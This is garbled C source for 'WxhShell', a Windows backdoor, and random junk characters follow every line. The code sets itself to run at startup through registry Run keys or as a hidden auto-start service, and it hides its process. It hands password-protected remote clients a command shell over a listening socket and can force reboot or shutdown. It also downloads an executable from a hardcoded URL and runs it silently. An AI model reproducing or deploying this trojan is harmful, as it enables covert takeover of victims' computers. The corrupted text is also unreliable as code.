    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4\ uZKv@,  
    if(Boot(SHUTDOWN)) <lg"M;&Ht  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); luP'JUq  
    else { {9m!UlTtw  
    closesocket(wsh); ~@)- qV^~  
    ExitThread(0); Vz=j )[  
    } \N'hbT=  
    break; XL"v21X  
    } es*_Oo1  
  // 获取shell s>9z+;~!  
  case 's': { %l9WZ*yZ`2  
    CmdShell(wsh); F3H:I"4  
    closesocket(wsh); _oMs `"4K  
    ExitThread(0); 5JXzfc9rL  
    break; 7(nz<z p  
  } <:kTTye|  
  // 退出 ]$XBd{\D{  
  case 'x': { T_YMM'`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '6d D^0dZ  
    CloseIt(wsh); xv(xweV+d  
    break; q;Ar&VrlNq  
    } ;|;h9"  
  // 离开 yNb#Ia  
  case 'q': { utFcFd X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .:r2BgL  
    closesocket(wsh); 32)&;  
    WSACleanup(); \$$b",2 h  
    exit(1); r(?'Yy  
    break; taD T;t  
        } $2 +$,:  
  } &t9XK8S  
  } /ut~jf`  
bH)8UQR%  
  // 提示信息 5{!a+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /pSUn"3  
} f)ucC$1=  
  } ~ (l2%(3G  
CHdet(_=v  
  return; r['=a/.C  
} x1&b@u  
{W:)oh>  
// shell模块句柄 dl3LDB  
int CmdShell(SOCKET sock) ^8f|clw"  
{ edImrm1f  
STARTUPINFO si; 99+/W*C  
ZeroMemory(&si,sizeof(si)); R; Gl{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `|ck5DZT5L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6S+K*/w  
PROCESS_INFORMATION ProcessInfo; oE|u;o  
char cmdline[]="cmd"; X{9JSq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J*6n6  
  return 0; 2gC&R1 H  
} 0x9F*i_  
f@xfb ie !  
// 自身启动模式 k1LtqV  
int StartFromService(void) 4 L~;>]7  
{ )2<B$p  
typedef struct ]%Q]C 8[C  
{ 71n uTE%!  
  DWORD ExitStatus; i"\AyKiJ  
  DWORD PebBaseAddress; P/1UCITq}  
  DWORD AffinityMask; ,$zSJzS  
  DWORD BasePriority; #G4~]Qml  
  ULONG UniqueProcessId; -XDP-Trk  
  ULONG InheritedFromUniqueProcessId; u`H@Q&(^wa  
}   PROCESS_BASIC_INFORMATION; bTy' 5"  
3Mh,NQB  
PROCNTQSIP NtQueryInformationProcess; /PB3^d>Q2  
D=I5[t0c4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gQ@Pw4bA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 65`'Upu  
.KwuhmR  
  HANDLE             hProcess; a@a1TpLQ  
  PROCESS_BASIC_INFORMATION pbi; f)s_e  
{p lmFV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q\/":ISq1  
  if(NULL == hInst ) return 0; V[M$o  
=ZJ?xA8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U~B}vt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =Gg)GSL^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2I(@aB+  
w]5f3CIm  
  if (!NtQueryInformationProcess) return 0; I?B,rT3 h  
pTV@nP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &T{B~i3w8  
  if(!hProcess) return 0; R82Zr@_  
*O}'2Ht6\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M]/wei"X  
V]S06>P  
  CloseHandle(hProcess); ??e#E[bI  
OTtanJ?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]JCB^)tM  
if(hProcess==NULL) return 0; c7TWAG_+  
5P t}  
HMODULE hMod; [, szx1  
char procName[255]; t[yD8h  
unsigned long cbNeeded; XL&eJ  
ka9v2tE\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U=cWvr65  
)}9}"jrDlx  
  CloseHandle(hProcess); '/qe#S  
U%PMV?L{  
if(strstr(procName,"services")) return 1; // 以服务启动 mX_Uhpw?t  
~9/nx|%D  
  return 0; // 注册表启动 H1b%:KRVK  
} g2b4 ia!L  
f}9`iN=k  
// 主模块 0&L0j$&h  
int StartWxhshell(LPSTR lpCmdLine) !CMVZf;u  
{ CbvL X="%  
  SOCKET wsl; XJ1nhE  
BOOL val=TRUE; [j+0EVwB  
  int port=0; +so o2cb  
  struct sockaddr_in door; y7G|P~td  
]O(HZD%  
  if(wscfg.ws_autoins) Install(); 9(evHR7  
VA r?teY  
port=atoi(lpCmdLine); uKAHJ$%  
S0QU@e  
if(port<=0) port=wscfg.ws_port; =<W[dV=W  
Yw1q2jT  
  WSADATA data; Bma|!p{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4hr+GO@o(  
B>nd9Z '  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `3s-%>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *x` l1o  
  door.sin_family = AF_INET; C5z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I$qtfGr  
  door.sin_port = htons(port); $MEbePxe  
{]m e?I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -a^sX%|Bl  
closesocket(wsl); ez9M]! 8Lt  
return 1; XV9'[V  
} }sNZQ89V*v  
eDZ3SIZ  
  if(listen(wsl,2) == INVALID_SOCKET) { RKZk/ly  
closesocket(wsl); gR6T]v  
return 1; yaGVY*M0  
} J0)WRn"h  
  Wxhshell(wsl); S gsR;)2  
  WSACleanup(); =,;3z/k%  
`2~Ea_Z  
return 0; \Nn%*?f  
xF>w r r  
} w`Aw+[24  
Q-%=ZW Z  
// 以NT服务方式启动 tZ2iSc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 30v1VLR_)  
{ 3~09)0"!d  
DWORD   status = 0; lxJ.h&"P  
  DWORD   specificError = 0xfffffff; wDTV /"Y  
rpI7W?hh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2Yf;b9-k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %+JTQy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _)H+..=  
  serviceStatus.dwWin32ExitCode     = 0; cmLu T/oV  
  serviceStatus.dwServiceSpecificExitCode = 0; AhZ  
  serviceStatus.dwCheckPoint       = 0; c oz}VMp  
  serviceStatus.dwWaitHint       = 0; Z#V\[  
ng6p#F,3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X)+sHcE~#  
  if (hServiceStatusHandle==0) return; vPq\reKe  
PvCE}bY{}  
status = GetLastError(); v2z/|sG  
  if (status!=NO_ERROR) )bg,rESM  
{ KT?s\w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x%7x^]$  
    serviceStatus.dwCheckPoint       = 0; f6C+2L+Hr  
    serviceStatus.dwWaitHint       = 0; Re ur#K  
    serviceStatus.dwWin32ExitCode     = status; kqB 00 ;  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q$5:P&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *==nOO9G  
    return; 'V{k$}P2  
  } cuk}VZ  
a8U2c;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F!t13%yeu?  
  serviceStatus.dwCheckPoint       = 0; laJ%fBWmbi  
  serviceStatus.dwWaitHint       = 0; w~-d4MNM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9!C?2*>A P  
} /Bu5k BC  
d> AmM!J  
// 处理NT服务事件,比如:启动、停止 iR=aYT~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s*WfRY*=V  
{ /T(~T  
switch(fdwControl) k&;L(D  
{ xf SvvCy  
case SERVICE_CONTROL_STOP: } ~bOP^'  
  serviceStatus.dwWin32ExitCode = 0; ar}759  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -"L6^IH7  
  serviceStatus.dwCheckPoint   = 0; &y?B&4|hM  
  serviceStatus.dwWaitHint     = 0; :Djp\ e6!  
  { SSC!BcC1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MUl+Oy>  
  } kniMXeiu  
  return; ]TOY_K8"z#  
case SERVICE_CONTROL_PAUSE: Q{-r4n|b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jX,~iZ_B  
  break; fs12<~+z  
case SERVICE_CONTROL_CONTINUE: A1;t60z+q>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oOz6Er[KO  
  break; =Z$6+^L  
case SERVICE_CONTROL_INTERROGATE: >D aS*r  
  break; 2p ,6=8^v  
}; [: j_Y3-9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /q]@|5I  
} M 4?3l  
V> SA3  
// 标准应用程序主函数 tB7aHZ|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &6EfybAt^_  
{ u'> CU  
1 j8,Zrg1  
// 获取操作系统版本 ,:,|A/U  
OsIsNt=GetOsVer(); 0w]?yqnE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B!anY}/U  
n|6yz[N  
  // 从命令行安装 K.7gd1I  
  if(strpbrk(lpCmdLine,"iI")) Install(); u] b6>  
;_ton?bF  
  // 下载执行文件 _v,n~a}&  
if(wscfg.ws_downexe) { g5[3[Z(.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vt,X:3  
  WinExec(wscfg.ws_filenam,SW_HIDE); iiscm\  
} DdgFBO  
h]$zub  
if(!OsIsNt) { &y+eE?j  
// 如果时win9x,隐藏进程并且设置为注册表启动 5. i;IOx  
HideProc(); bcNYoZ8`  
StartWxhshell(lpCmdLine); P&;I]2#  
} D bJ(N h  
else 35T7g65;  
  if(StartFromService()) 7h~M&\M  
  // 以服务方式启动 VPbNLi  
  StartServiceCtrlDispatcher(DispatchTable); 2XpGgG`2`C  
else V ZGhF!To  
  // 普通方式启动 3 Gkw.  
  StartWxhshell(lpCmdLine); bcfOp A  
10 ^=1@U  
return 0; / [M~##%:  
} Rz]bCiD3 B  
-9EbU7>!  
*<1m 2t>.  
UHWun I S  
=========================================== d8po`J#nb  
ZW"J]"A  
NKws;/u  
ImVe 71mh  
^;d;b<  
/_8V+@im  
" M\3!elp2z  
G1|:b-C  
#include <stdio.h> 8iRQPV-"_  
#include <string.h> fkM4u<R^  
#include <windows.h> u9Ro=#xt  
#include <winsock2.h> mx2 Jt1  
#include <winsvc.h> B7;MY6h#  
#include <urlmon.h> " B1' K8  
[cq>QMW  
#pragma comment (lib, "Ws2_32.lib") b3H;Ea?^^<  
#pragma comment (lib, "urlmon.lib") DS yE   
\b->AXe8  
#define MAX_USER   100 // 最大客户端连接数 lk|/N^8M  
#define BUF_SOCK   200 // sock buffer 4M}/PoJ  
#define KEY_BUFF   255 // 输入 buffer <:w7^m  
2+HiaYDZ  
#define REBOOT     0   // 重启 #]2u!a ma  
#define SHUTDOWN   1   // 关机 .:}\Z27-c  
!=pemLvH  
#define DEF_PORT   5000 // 监听端口 y5I7pbe  
"2-TtQV!  
#define REG_LEN     16   // 注册表键长度 p-Ju&4fS  
#define SVC_LEN     80   // NT服务名长度 2bmppDk  
_4+1c5Q!  
// 从dll定义API 9]iDNa/D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,7aqrg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5VfP@{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :([,vO:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )? xg=o/?  
FB""^IC?W  
// wxhshell配置信息 G>j/d7  
struct WSCFG { f 36rU  
  int ws_port;         // 监听端口 dO2cgY}  
  char ws_passstr[REG_LEN]; // 口令 EHOdst  
  int ws_autoins;       // 安装标记, 1=yes 0=no M6>l%[  
  char ws_regname[REG_LEN]; // 注册表键名 +t f=  
  char ws_svcname[REG_LEN]; // 服务名 Vufw:}i+^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <[Vr(.A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Wo&i)S<i0F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %zGPF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Rp#SqRy`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =g ]C9'I3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 QnqX/vnR  
,=FYf|Z  
}; U w)1yzX  
Y*6*;0Kx  
// default Wxhshell configuration r*Mm5QozA  
struct WSCFG wscfg={DEF_PORT, n(L {2r  
    "xuhuanlingzhe", Z(s} #-  
    1, J0`?g6aY  
    "Wxhshell", 1{*x+GC^/  
    "Wxhshell", _Uq'eZol  
            "WxhShell Service", P VPwYmte  
    "Wrsky Windows CmdShell Service", m~v Ie c  
    "Please Input Your Password: ", b$BUo8O}  
  1, z9gZ/d   
  "http://www.wrsky.com/wxhshell.exe", *\> &  
  "Wxhshell.exe" +{s^"M2`  
    }; aaBBI S  
D4G{= Y}G  
// 消息定义模块 C9fJLCufC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3jQ |C=   
char *msg_ws_prompt="\n\r? for help\n\r#>"; I^o^@C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 975KRnj  
char *msg_ws_ext="\n\rExit."; rpvm].4  
char *msg_ws_end="\n\rQuit."; L:31toGK  
char *msg_ws_boot="\n\rReboot..."; _T1e##Sq,  
char *msg_ws_poff="\n\rShutdown..."; '{|87kI  
char *msg_ws_down="\n\rSave to "; Cs$g]&a  
t6tqv  
char *msg_ws_err="\n\rErr!"; @`T6\ 1  
char *msg_ws_ok="\n\rOK!"; GxBj N7"  
/a,q4tD@  
char ExeFile[MAX_PATH]; ,Vogo5~X  
int nUser = 0; (wTg aV1  
HANDLE handles[MAX_USER]; :F_U^pyG  
int OsIsNt; te`4*t  
It4F;Ah  
SERVICE_STATUS       serviceStatus; hk~ s1"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {*: C$"L  
)TxhJB5|  
// 函数声明 KS%,N _F<  
int Install(void); V/03m3!q  
int Uninstall(void); >uVG]  
int DownloadFile(char *sURL, SOCKET wsh); F$caKWzny5  
int Boot(int flag); __a9}m4i7x  
void HideProc(void); 7':|f"  
int GetOsVer(void); 4:K9FqU  
int Wxhshell(SOCKET wsl); -+z^{*\; N  
void TalkWithClient(void *cs); GK)hK-  
int CmdShell(SOCKET sock); *2 [r?!  
int StartFromService(void); 2Bx\nLf/ K  
int StartWxhshell(LPSTR lpCmdLine); Q<M>+U;t  
u}pLO9V"`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D=3NI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R_-.:n%.z  
8.vD]hO  
// 数据结构和表定义 ^*ZO@GNL  
SERVICE_TABLE_ENTRY DispatchTable[] = 0_ ;-QAd  
{ |{$Vk%cUE  
{wscfg.ws_svcname, NTServiceMain}, H.YntFtD'  
{NULL, NULL} #e=[W))  
}; p}h)WjC  
9Gy1T3y5"  
// 自我安装 7,:QFV  
int Install(void) a^,Xm(Wb}  
{ *@D.=i>  
  char svExeFile[MAX_PATH]; I!{5*~ 3  
  HKEY key; f\ Qi()  
  strcpy(svExeFile,ExeFile); kw!! 5U;7  
V%"aU}   
// 如果是win9x系统,修改注册表设为自启动 }^=J]  
if(!OsIsNt) { d hh`o\$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #zfBNkk&@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?@tp1?)  
  RegCloseKey(key); V-VR+Ndz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QqRL>.)W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W&* 0F~  
  RegCloseKey(key); gg<lWeS/3  
  return 0; w'}b 8m(L  
    } O5E\#*<K  
  } Obbjl@]  
} y3d`$'7H>  
else { d^ w6_  
xgfK0-T|[  
// 如果是NT以上系统,安装为系统服务 "zv?qS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yAaMYF@  
if (schSCManager!=0) Wq]^1g_  
{ @<h@d_8^k  
  SC_HANDLE schService = CreateService E-CZk_K9  
  ( HG{OkDx]fl  
  schSCManager, 6m?}oMz  
  wscfg.ws_svcname, w?Y;pc}1B  
  wscfg.ws_svcdisp, Py K)ks!6  
  SERVICE_ALL_ACCESS, l7\Bq+Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A3MVNz$wo"  
  SERVICE_AUTO_START, ym^  
  SERVICE_ERROR_NORMAL, FK<1SOE  
  svExeFile, sZ_+6+ :  
  NULL, Ub3^Js!b%  
  NULL, xzh`q  
  NULL, Ns Pt1_ Y8  
  NULL, Zh,(/-XN;  
  NULL lx(kbSxF  
  ); :hC+r=!I  
  if (schService!=0) 4 +Wti!s  
  { -uX): h!  
  CloseServiceHandle(schService); )17CG*K1  
  CloseServiceHandle(schSCManager); )k$ +T%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V_^p?Fi #  
  strcat(svExeFile,wscfg.ws_svcname); M] 7#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /GRkQ",  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WTbq)D(&[_  
  RegCloseKey(key); E&9BeU a#  
  return 0; az/NZlJhT  
    } HW"@~-\  
  } +K{J* n  
  CloseServiceHandle(schSCManager); "&W80,O3  
} z&Cz!HrS  
} @p"m{  
]2Zl\}GwY  
return 1; s,Azcqem  
} o!bV;]  
j"1#n? 0  
// 自我卸载 DxoW,G W  
int Uninstall(void) GKIO@!@[  
{ U4M}E h8  
  HKEY key; >cJfD9-<h  
aYW 9 C<5  
if(!OsIsNt) { @~sJ ((G[5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b1\.hi  
  RegDeleteValue(key,wscfg.ws_regname); F!ZE4S_  
  RegCloseKey(key); ^ZuwUuuf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ebfT%_N  
  RegDeleteValue(key,wscfg.ws_regname); 05hjC  
  RegCloseKey(key); UU'0WIbY6  
  return 0; a]\l:r  
  } 4h~CDy%_  
} ip8%9fG\>  
} _Fkz^B*  
else { #p$iWY>e~  
y rH@:D/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -aPRL HR  
if (schSCManager!=0) |kGj}v3  
{ z[|2od  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iC2``[m"  
  if (schService!=0) zl $mt'\y  
  { }JI@f14  
  if(DeleteService(schService)!=0) { [0MNq]gxf  
  CloseServiceHandle(schService); $Y`oqw?g+^  
  CloseServiceHandle(schSCManager); JCO+_d#x  
  return 0; Gu@n1/m@o  
  } sBm)D=Kll  
  CloseServiceHandle(schService); LT[g +zGB  
  } c]}F$[>oN'  
  CloseServiceHandle(schSCManager); mUA!GzJ~u-  
} SR_<3WW  
} v9*31Jx  
]"ou?ot }  
return 1; s k_TKN`+  
} y90wL U9f  
=hY9lxW  
// 从指定url下载文件 *\gYs{,  
int DownloadFile(char *sURL, SOCKET wsh) +cWo^d.  
{ g|TWoRx:  
  HRESULT hr; 3Zdwt\OQ  
char seps[]= "/"; 717S3knlv  
char *token; O#Ma Z.=  
char *file; N1iP!m9Q  
char myURL[MAX_PATH]; 6U9F vPJ  
char myFILE[MAX_PATH]; 1Be/(pSc  
m941 Y  
strcpy(myURL,sURL); WF] |-)vw  
  token=strtok(myURL,seps); ghGpi U$  
  while(token!=NULL) pF/s5z  
  { BD ,J4xH;  
    file=token; g>E.Snj}  
  token=strtok(NULL,seps); T {:8,CiW  
  } U'@#n2p:k  
InA=ty]"_U  
GetCurrentDirectory(MAX_PATH,myFILE); 56o(gCj?y  
strcat(myFILE, "\\"); Q2qT[aD,  
strcat(myFILE, file); *Za'^Z2  
  send(wsh,myFILE,strlen(myFILE),0); AcP d(Pc  
send(wsh,"...",3,0); P](/5KrK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'D'H)J  
  if(hr==S_OK) "O~7s}  
return 0; H7FOf[3'  
else 9CG&MvF c  
return 1; u.ej<Lo  
!mH !W5&  
} uN&UYJ' B  
U0=: `G2l  
// 系统电源模块 R =kXf/y  
int Boot(int flag) YWAH(  
{ # Rhtaq9  
  HANDLE hToken; x7GYWK 9  
  TOKEN_PRIVILEGES tkp; p(>D5uN_}5  
s}qtM.^W  
  if(OsIsNt) { p~WX\;   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  < v1.+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~jJF&*)  
    tkp.PrivilegeCount = 1; / %1-tGh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zJ)`snN|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); % oJH 6F  
if(flag==REBOOT) { ]TVc 'G;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _1G;!eO  
  return 0; ra;:  
} 4s9q Q8?  
else { m yy*rt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a$K6b5`>Rs  
  return 0; osn ,kD*  
} +2+|zXmT  
  } XTJA"y  
  else { "m > BE  
if(flag==REBOOT) { 4Ss*h,Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `m}G{jfk  
  return 0; Y0yu,   
} {ub'   
else { V%'' GF   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L8J] X7  
  return 0; NvvD~B b  
} ;#L]7ZY9:-  
} .Zc:$"gDu  
<UY9<o  
return 1; 5(t hDZ!  
} 40aD\S>  
(y s<{Y-;  
// win9x进程隐藏模块 tIk$4)ZAl  
void HideProc(void) JFdMYb  
{ ?$MO!  
Rrrq>{D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lS|F&I5j  
  if ( hKernel != NULL ) {A~3/M%74;  
  { (%'`t(<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &Qe2 }e$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `ff@f]|3^  
    FreeLibrary(hKernel); >}B53.;.k  
  } c*r@QmB:  
7+Er}y>  
return; F. I\?b  
} EMPujik-  
FqZD'Uu7  
// 获取操作系统版本 v6H!.0  
int GetOsVer(void) XMzQ8|]  
{ P{HR='2  
  OSVERSIONINFO winfo; Yyw9IYB;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @"B{k%+  
  GetVersionEx(&winfo); ~x[(1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GL _hRu  
  return 1; 0v#p4@Z  
  else /IlO   
  return 0; _FU}IfG>t  
} mA#;6?6  
MP_/eC ;  
// 客户端句柄模块 XZ2 ji_D  
int Wxhshell(SOCKET wsl) CDY3+!  
{ "pO** z$Z  
  SOCKET wsh; cT@H49#uB  
  struct sockaddr_in client; ^ U);MH8  
  DWORD myID; O;$}j:;KF  
p0D@O_ :5  
  while(nUser<MAX_USER) 8@ S@^C*F  
{ y7,t "XV  
  int nSize=sizeof(client); L#WGOl  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "EVf1iQ  
  if(wsh==INVALID_SOCKET) return 1; &;R BG$t  
pd|l&xvka  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _C=01 %/  
if(handles[nUser]==0) _88X-~.  
  closesocket(wsh); G^Y^)pc]   
else 0EasPbp  
  nUser++; e0]#vqdO  
  } JLj b'Bn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (,tL(:c  
Xy}>O*  
  return 0; b8 1cq,  
} {L \TO,  
 4&%E?_M  
// 关闭 socket 36Lf8~d4"h  
void CloseIt(SOCKET wsh) W.59Al'  
{ (1[Z#y[  
closesocket(wsh); lR/Uboyy  
nUser--; XtE O)  
ExitThread(0); {b-SK5%]L  
} a5(9~. 9  
Z{gDEo)  
// 客户端请求句柄 |WNI[49  
void TalkWithClient(void *cs) T)tTzgLD}  
{ t~$8sG\  
^)o]hE|  
  SOCKET wsh=(SOCKET)cs; @V&HE:P  
  char pwd[SVC_LEN]; _Ea1;dJmq  
  char cmd[KEY_BUFF]; $h}w: AV:  
char chr[1]; gB>AYL%o=  
int i,j; iVo-z#  
eep/96G ?  
  while (nUser < MAX_USER) { %TO&  
L8oqlq( 9  
if(wscfg.ws_passstr) { q^uCZnkb=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NZlCn:"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [!Djs![O  
  //ZeroMemory(pwd,KEY_BUFF); -0I&dG-  
      i=0; [x- 9m\h  
  while(i<SVC_LEN) { 1@}<CWE9  
ftQ;$@  
  // 设置超时 HG)$ W  
  fd_set FdRead; 'Hgk$Im+  
  struct timeval TimeOut; Zad>i w}  
  FD_ZERO(&FdRead); S_^;#=_c  
  FD_SET(wsh,&FdRead); =iB$4d2  
  TimeOut.tv_sec=8; ;Zc0imYL  
  TimeOut.tv_usec=0; EztuVe  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k2.\1}\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C>F5=&  
1(Z+n,Hh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1/syzHjbY  
  pwd=chr[0]; wa!z:}]  
  if(chr[0]==0xd || chr[0]==0xa) { 9Z"WV5o  
  pwd=0; Ft}nG&D  
  break; `-Tb=o}.  
  } MwL!2r  
  i++; EWXv3N2)  
    } F&Rr&m  
79D;0  
  // 如果是非法用户,关闭 socket Rl_1g`84  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j3S!uA?  
} ?T,a(m<i {  
~mZ[@ Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fhha-J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YgtW(j[  
yr*~?\  
while(1) { b?<@  
f3s4aARP  
  ZeroMemory(cmd,KEY_BUFF); jaIcIc=Pf  
aCi)icn$  
      // 自动支持客户端 telnet标准   mR|']^!SE  
  j=0; Y1F%-o  
  while(j<KEY_BUFF) { XsSDz}dg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fo <nk|i  
  cmd[j]=chr[0]; TkIiO>  
  if(chr[0]==0xa || chr[0]==0xd) { E 0OHl  
  cmd[j]=0; jw/@]f;N  
  break; m63>P4h?  
  } hpq\  
  j++; Bsk` e  
    } dp2FC   
xCyD0^KY  
  // 下载文件 PG @C5Rnu  
  if(strstr(cmd,"http://")) { "*TP@X?@f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dz/3=0  
  if(DownloadFile(cmd,wsh)) hM&VMa[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ? :A%$T  
  else Tm0\Oue0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QtcYFf g  
  } <p?oFD_e4  
  else { vrh2}biCR  
.3wx}!:*|  
    switch(cmd[0]) { #%/Jr 52<  
  mi@uX@ #  
  // 帮助 iszVM  
  case '?': { S2 P9C"  
